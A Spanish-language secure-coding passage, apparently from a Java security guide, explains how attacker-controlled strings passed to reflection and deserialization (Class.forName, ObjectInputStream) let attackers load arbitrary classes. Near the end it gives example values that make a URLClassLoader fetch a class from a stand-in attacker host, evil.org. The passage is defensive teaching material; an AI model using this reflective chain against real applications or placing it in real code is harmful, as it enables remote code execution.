A través de la reflexión, cualquier paquete en la ruta de clase es potencialmente usado. Los servicios comunes basados en la reflexión (por ejemplo, deserialización) también significan que cualquier clase cargable es utilizable. ObjectInputStream
y otras API utilizadas comúnmente pueden ser una fuente de vulnerabilidades.
Para comprender las vulnerabilidades de reflexión: si un atacante puede obtener una cadena que controla en Class.forName
o algún otro mecanismo de reflexión, entonces es probable que se pueda cargar esa clase. Por ejemplo, si el atacante controla el valor de s
,
Class<?> clazz = Class.forName(s);
Object o = clazz.newInstance();
entonces pueden hacer que se cargue cualquier clase visible para el cargador de clases de arranque.
Si el atacante puede hacer que su aplicación deserialice los bytes que especifican, entonces pueden hacer que cargue cualquier clase en la ruta de clase. ObjectInputStream
buscará un nombre de clase especificado en su byte[]
y cargará esa clase para ver si implementa Externalizable
. La clase se inicializará si implementa Serializable
.
enlace
El uso ingenuo de la serialización de objetos puede permitir que una parte maliciosa con acceso al flujo de bytes de serialización lea datos privados, cree objetos con estado ilegal o peligroso, u obtenga referencias a los campos privados de objetos deserializados.
enlace
Las características de serialización y deserialización se pueden aprovechar para omitir las comprobaciones del administrador de seguridad.
Además, se pueden encadenar ataques múltiples en APIs reflexivas. Si el atacante controla la cadena s0 ... s4 a continuación, pueden hacer que se cargue cualquier clase:
Class<?> clazz = Class.forName(s0);
Constructor ctor = clazz.getConstructor(s1, String.class);
Object o1 = ctor.newInstance(s2);
Method m = clazz.getMethod(s3, String.class);
Object o2 = m.invoke(o1, s4);
Considera lo que sucede cuando
s1 = "java.net.URLClassLoader";
s2 = "http://evil.org/evil.jar";
s3 = "findClass";
s4 = "org.evil.Evil";
Los atacantes que pueden especificar las propiedades del sistema también pueden cambiar la ruta de clase para incluir clases de troyanos.
La moraleja de esta historia es mantener las cadenas y bytes no confiables lejos de las instalaciones reflexivas y las instalaciones relacionadas, incluida la deserialización, RPC / RMI, etc.